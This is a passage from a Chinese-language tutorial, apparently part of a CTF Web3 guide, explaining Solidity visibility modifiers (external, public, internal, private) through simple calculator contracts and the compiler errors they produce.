style="color:#C678DD">pragma</span><span style="color:#E06C75"> solidity</span><span style="color:#D19A66"> ^0.8.0</span><span style="color:#ABB2BF">;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> Calculator</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#E5C07B"> uint</span><span style="color:#ABB2BF"> Storage;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD"> constructor</span><span style="color:#ABB2BF">() &#123;</span></div><div class="line"><span style="color:#ABB2BF">  Storage </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 0</span><span style="color:#ABB2BF">;</span></div><div class="line"><span style="color:#ABB2BF"> &#125;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD"> function</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">  return</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">+</span><span style="color:#ABB2BF"> _b;</span></div><div class="line"><span style="color:#ABB2BF"> &#125;</span></div><div class="line"><span style="color:#ABB2BF"> </span></div><div class="line"><span style="color:#C678DD"> function</span><span style="color:#61AFEF"> minus</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">  return</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF"> _b;</span></div><div class="line"><span style="color:#ABB2BF"> &#125;</span></div><div class="line"><span style="color:#ABB2BF"> </span></div><div class="line"><span style="color:#C678DD"> function</span><span style="color:#61AFEF"> times</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">  return</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">*</span><span style="color:#ABB2BF"> _b;</span></div><div class="line"><span style="color:#ABB2BF"> &#125;</span></div><div class="line"><span style="color:#ABB2BF"> </span></div><div class="line"><span style="color:#C678DD"> function</span><span style="color:#61AFEF"> initialize</span><span style="color:#ABB2BF">() </span><span style="color:#C678DD">external</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#ABB2BF">  Storage </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 0</span><span style="color:#ABB2BF">;</span></div><div class="line"><span style="color:#ABB2BF"> &#125;</span></div><div class="line"><span style="color:#ABB2BF"> </span></div><div class="line"><span style="color:#C678DD"> function</span><span style="color:#61AFEF"> test_func</span><span style="color:#ABB2BF">() </span><span style="color:#C678DD">public</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#61AFEF">  initialize</span><span style="color:#ABB2BF">(); </span><span style="color:#7F848E;font-style:italic">// 这是错误的，因为 initialize 函数具有 external 修饰符，不能在合约内部进行调用</span></div><div class="line"><span style="color:#ABB2BF"> &#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div></code></pre><p>在这里，我们给函数 <code>initialize</code> 添加了 <code>external</code> 修饰符，在 <code>test_func</code> 中，我们对 <code>initialize</code> 进行了调用，我们的编译器会告诉我们这里有问题</p><p><img src="https://assets.bili33.top/img/CTF-Web3-Guide/msedge_CfPf6MIJaQ.png"></p><blockquote><p>DeclarationError: Undeclared identifier. “initialize” is not (or not yet) visible at this point.</p></blockquote><p>这里就是告诉我们 <code>initialize</code> 在合约内部是不可见的，如果我们实在要对 <code>initialize</code> 在合约内部进行调用，我们应该采用 <code>this.initialize()</code></p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">pragma</span><span style="color:#E06C75"> solidity</span><span style="color:#D19A66"> ^0.8.0</span><span style="color:#ABB2BF">;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> Calculator</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#ABB2BF">    ...</span></div><div class="line"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> test_func</span><span style="color:#ABB2BF">() </span><span style="color:#C678DD">public</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#E5C07B">        this</span><span style="color:#ABB2BF">.</span><span style="color:#61AFEF">initialize</span><span style="color:#ABB2BF">(); </span><span style="color:#7F848E;font-style:italic">// 改成 this.initialize 就可以了</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div></code></pre><p>采用 <code>this.initialize()</code> 后，会发起一个从外部调用到合约自身的一次调用，<strong>但是，这会消耗更多的 Gas（给的钱更多了）</strong></p><h4 id="公共修饰符：public"><a href="#公共修饰符：public" class="headerlink" title="公共修饰符：public"></a>公共修饰符：<code>public</code></h4><p>通过 <code>public</code> 修饰的变量或者函数，它们既可以在合约内部进行访问，也可以在合约外部进行方式（以接口形式，在其他合约或者链下都可以对其进行调用）</p><p>对于 <code>public</code> 修饰的变量，会自动创建一个同名的访问器（可以理解为 <code>__getter__</code>），用来获取这个变量的值</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">pragma</span><span style="color:#E06C75"> solidity</span><span style="color:#D19A66"> ^0.8.0</span><span style="color:#ABB2BF">;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> ContractA</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#E5C07B">    uint256</span><span style="color:#C678DD"> public</span><span style="color:#ABB2BF"> varA;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">    constructor</span><span style="color:#ABB2BF">() &#123;</span></div><div class="line"><span style="color:#ABB2BF">        varA </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 0</span><span style="color:#ABB2BF">;</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> AddVarA</span><span style="color:#ABB2BF">() </span><span style="color:#C678DD">public</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#ABB2BF">        varA </span><span style="color:#56B6C2">+=</span><span style="color:#D19A66"> 1</span><span style="color:#ABB2BF">;</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> ContractMain</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#ABB2BF">    ContractA </span><span style="color:#C678DD">public</span><span style="color:#ABB2BF"> instance; </span><span style="color:#7F848E;font-style:italic">// 初始化一个 ContractA 合约</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">    constructor</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">address</span><span style="color:#ABB2BF;font-style:italic"> _address</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#ABB2BF">        instance </span><span style="color:#56B6C2">=</span><span style="color:#61AFEF"> ContractA</span><span style="color:#ABB2BF">(_address); </span><span style="color:#7F848E;font-style:italic">// 通过传入 ContractA 合约所在的地址来初始化实例</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> trigger</span><span style="color:#ABB2BF">() </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint256</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#ABB2BF">        instance.</span><span style="color:#61AFEF">AddVarA</span><span style="color:#ABB2BF">(); </span><span style="color:#7F848E;font-style:italic">// 调用实例的 AddVarA 函数，进行 varA 的自增</span></div><div class="line"></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">        return</span><span style="color:#ABB2BF"> instance.</span><span style="color:#61AFEF">varA</span><span style="color:#ABB2BF">(); </span><span style="color:#7F848E;font-style:italic">// 调用实例的 varA 函数（这是一个自动生成的访问器函数），得到 varA 的值</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div></code></pre><p>通过 REMIX IDE 我们也能够体会到这一个过程，我们先对 <code>ContractA</code> 进行部署后，再对 <code>ContractMain</code> 进行部署</p><p><img src="https://assets.bili33.top/img/CTF-Web3-Guide/msedge_6jMweFSRjY.png"></p><h4 id="子合约-派生合约修饰符：internal"><a href="#子合约-派生合约修饰符：internal" class="headerlink" title="子合约&#x2F;派生合约修饰符：internal"></a>子合约&#x2F;派生合约修饰符：<code>internal</code></h4><p>使用 <code>internal</code> 修饰的函数&#x2F;变量只能在当前合约调用或者其派生合约&#x2F;子合约中使用，首先先简单说明一下派生合约，以下面这段代码为例</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">pragma</span><span style="color:#E06C75"> solidity</span><span style="color:#D19A66"> ^0.8.0</span><span style="color:#ABB2BF">;</span></div><div class="line"></div><div class="line"></div><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> AddCalculator</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF"> Storage;</span></div><div class="line"></div><div class="line"></div><div class="line"><span style="color:#C678DD">constructor</span><span style="color:#ABB2BF">() &#123;</span></div><div class="line"><span style="color:#ABB2BF">Storage </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 0</span><span style="color:#ABB2BF">;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line"></div><div class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">return</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">+</span><span style="color:#ABB2BF"> _b;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line"></div><div class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> save</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _num</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#ABB2BF">Storage </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> _num;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line"></div><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> AddAndMinusCalculator</span><span style="color:#C678DD"> is</span><span style="color:#E5C07B"> AddCalculator</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> minus</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">return</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF"> _b;</span></div><div class="line"><span style="color:#ABB2BF">&#125; </span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div></code></pre><p>在这里，我们有一个 <code>AddCalculator</code> 的合约，它只有加法和一个存储功能，在 <code>AddAndMinusCalculator</code> 中，我们使用了关键词 <code>is</code> 来继承 <code>AddCalculator</code> 的属性和函数，并给它添加了减法，也就是说，只看 <code>AddAndMinusCalculator</code> 的情况下，它等同于</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">pragma</span><span style="color:#E06C75"> solidity</span><span style="color:#D19A66"> ^0.8.0</span><span style="color:#ABB2BF">;</span></div><div class="line"></div><div class="line"></div><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> AddAndMinusCalculator</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF"> Storage;</span></div><div class="line"></div><div class="line"></div><div class="line"><span style="color:#C678DD">constructor</span><span style="color:#ABB2BF">() &#123;</span></div><div class="line"><span style="color:#ABB2BF">Storage </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 0</span><span style="color:#ABB2BF">;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line"></div><div class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">return</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">+</span><span style="color:#ABB2BF"> _b;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line"></div><div class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> save</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _num</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#ABB2BF">Storage </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> _num;</span></div><div class="line"><span style="color:#ABB2BF"></span></div><div class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> minus</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">return</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF"> _b;</span></div><div class="line"><span style="color:#ABB2BF">&#125; </span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div></code></pre><p>你可以把这个看作是 Python 那样的类继承，上面这个与下面这段 Python 代码是类似的</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">AddCalculator</span>:</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">__init__</span>(<span class="params">self</span>):</span><br><span class="line">        self.Storage = <span class="number">0</span></span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">add</span>(<span class="params">self, a, b</span>):</span><br><span class="line">        <span class="keyword">return</span> a + b</span><br><span class="line">    </span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">save</span>(<span class="params">self, num</span>):</span><br><span class="line">        self.Storage = num</span><br><span class="line">        </span><br><span class="line"><span class="keyword">class</span> <span class="title class_">AddAndMinusCalculator</span>(<span class="title class_ inherited__">AddCalculator</span>):</span><br><span class="line">    <span class="keyword">def</span> <span class="title function_">minus</span>(<span class="params">self, a, b</span>):</span><br><span class="line">        <span class="keyword">return</span> a - b</span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    calculator = AddAndMinusCalculator()</span><br></pre></td></tr></table></figure><p>我们对 <code>AddAndMinusCalculator</code> 进行合约部署，可以看到它确实也继承了 <code>AddCalculator</code> 的函数</p><p><img src="https://assets.bili33.top/img/CTF-Web3-Guide/msedge_0VpuakT18n.png"></p><p>现在回到我们的问题，标有 <code>internal</code> 的函数只能在其内部或者其派生合约内部进行调用</p><p>还是拿上面的计算器举例子</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">pragma</span><span style="color:#E06C75"> solidity</span><span style="color:#D19A66"> ^0.8.0</span><span style="color:#ABB2BF">;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> AddCalculator</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF"> Storage;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">constructor</span><span style="color:#ABB2BF">() &#123;</span></div><div class="line"><span style="color:#ABB2BF">Storage </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 0</span><span style="color:#ABB2BF">;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#7F848E;font-style:italic">// 现在给 add 函数加入了 internal 修饰</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">internal</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">return</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">+</span><span style="color:#ABB2BF"> _b;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> save</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _num</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#ABB2BF">Storage </span><span style="color:#56B6C2">=</span><span style="color:#ABB2BF"> _num;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line"><span style="color:#7F848E;font-style:italic">    // 内部函数可以调用内部函数</span></div><div class="line"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> calculateAndSave</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _x</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _y</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#E5C07B">        uint</span><span style="color:#ABB2BF"> result </span><span style="color:#56B6C2">=</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF">(_x, _y); </span><span style="color:#7F848E;font-style:italic">// AddCalculator 内部调用 add</span></div><div class="line"><span style="color:#61AFEF">        save</span><span style="color:#ABB2BF">(result);</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> AddAndMinusCalculator</span><span style="color:#C678DD"> is</span><span style="color:#E5C07B"> AddCalculator</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> minus</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">return</span><span style="color:#ABB2BF"> _a </span><span style="color:#56B6C2">-</span><span style="color:#ABB2BF"> _b;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line"><span style="color:#7F848E;font-style:italic">    // 派生合约可以调用基合约的 internal 函数</span></div><div class="line"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> addAndThenMinus</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _c</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#E5C07B">        uint</span><span style="color:#ABB2BF"> sum </span><span style="color:#56B6C2">=</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF">(_a, _b); </span><span style="color:#7F848E;font-style:italic">// AddAndMinusCalculator 内部调用继承来的 add</span></div><div class="line"><span style="color:#C678DD">        return</span><span style="color:#61AFEF"> minus</span><span style="color:#ABB2BF">(sum, _c);</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"></div><div class="line"><span style="color:#7F848E;font-style:italic">    // 派生合约也可以直接提供一个 public 函数来调用这个 internal 函数</span></div><div class="line"><span style="color:#C678DD">    function</span><span style="color:#61AFEF"> externalAdd</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#C678DD">        return</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF">(_a, _b); </span><span style="color:#7F848E;font-style:italic">// 通过 externalAdd 间接对外暴露 add 功能</span></div><div class="line"><span style="color:#ABB2BF">    &#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> OutsideCalculator</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#ABB2BF">AddCalculator instance;</span></div><div class="line"><span style="color:#ABB2BF">AddAndMinusCalculator instance1;</span></div><div class="line"><span style="color:#ABB2BF"></span></div><div class="line"><span style="color:#C678DD">constructor</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">address</span><span style="color:#ABB2BF;font-style:italic"> _add_calculator_address</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">address</span><span style="color:#ABB2BF;font-style:italic"> _add_and_minus_calculator_address</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line"><span style="color:#ABB2BF">instance </span><span style="color:#56B6C2">=</span><span style="color:#61AFEF"> AddCalculator</span><span style="color:#ABB2BF">(_add_calculator_address);</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"><span style="color:#ABB2BF"></span></div><div class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">return</span><span style="color:#ABB2BF"> instance.</span><span style="color:#61AFEF">add</span><span style="color:#ABB2BF">(_a, _b);</span><span style="color:#7F848E;font-style:italic">// 这里是非法的，因为 instance.add 是一个 internal 函数，不能在外部合约被调用，这里会编译出错</span></div><div class="line"><span style="color:#7F848E;font-style:italic">        // TypeError: Member "add" not found or not visible after argument-dependent lookup in contract AddCalculator.</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"><span style="color:#ABB2BF"></span></div><div class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> externalAdd</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _a</span><span style="color:#ABB2BF">, </span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF;font-style:italic"> _b</span><span style="color:#ABB2BF">) </span><span style="color:#C678DD">public</span><span style="color:#C678DD"> pure</span><span style="color:#C678DD"> returns</span><span style="color:#ABB2BF"> (</span><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF">) &#123;</span></div><div class="line line-highlight" style="background-color:#49515fff;"><span style="color:#C678DD">return</span><span style="color:#ABB2BF"> instance1.</span><span style="color:#61AFEF">externalAdd</span><span style="color:#ABB2BF">(_a, _b);</span><span style="color:#7F848E;font-style:italic">// 这是合法的，因为 instance1.externalAdd 是一个使用 public 修饰的函数，将原来的 add 函数暴露在外了</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div></code></pre><h4 id="私有修饰符：private"><a href="#私有修饰符：private" class="headerlink" title="私有修饰符：private"></a>私有修饰符：<code>private</code></h4><p>在这四种修饰符中，<code>private</code> 是最为严格的，它只允许自己使用，并且不允许派生合约使用，再来看下面这个例子</p><pre class="one-dark-pro" style="background-color:#282c34;color:#abb2bf" tabindex="0"><code><div class="line"><span style="color:#C678DD">pragma</span><span style="color:#E06C75"> solidity</span><span style="color:#D19A66"> ^0.8.0</span><span style="color:#ABB2BF">;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">contract</span><span style="color:#E5C07B"> AddCalculator</span><span style="color:#ABB2BF"> &#123;</span></div><div class="line"><span style="color:#E5C07B">uint</span><span style="color:#ABB2BF"> Storage;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">constructor</span><span style="color:#ABB2BF">() &#123;</span></div><div class="line"><span style="color:#ABB2BF">Storage </span><span style="color:#56B6C2">=</span><span style="color:#D19A66"> 0</span><span style="color:#ABB2BF">;</span></div><div class="line"><span style="color:#ABB2BF">&#125;</span></div><div class="line"></div><div class="line"><span style="color:#C678DD">function</span><span style="color:#61AFEF"> add</span><span style="color:#ABB2BF">(</span><span style="color:#E5C07B">uint</span><span 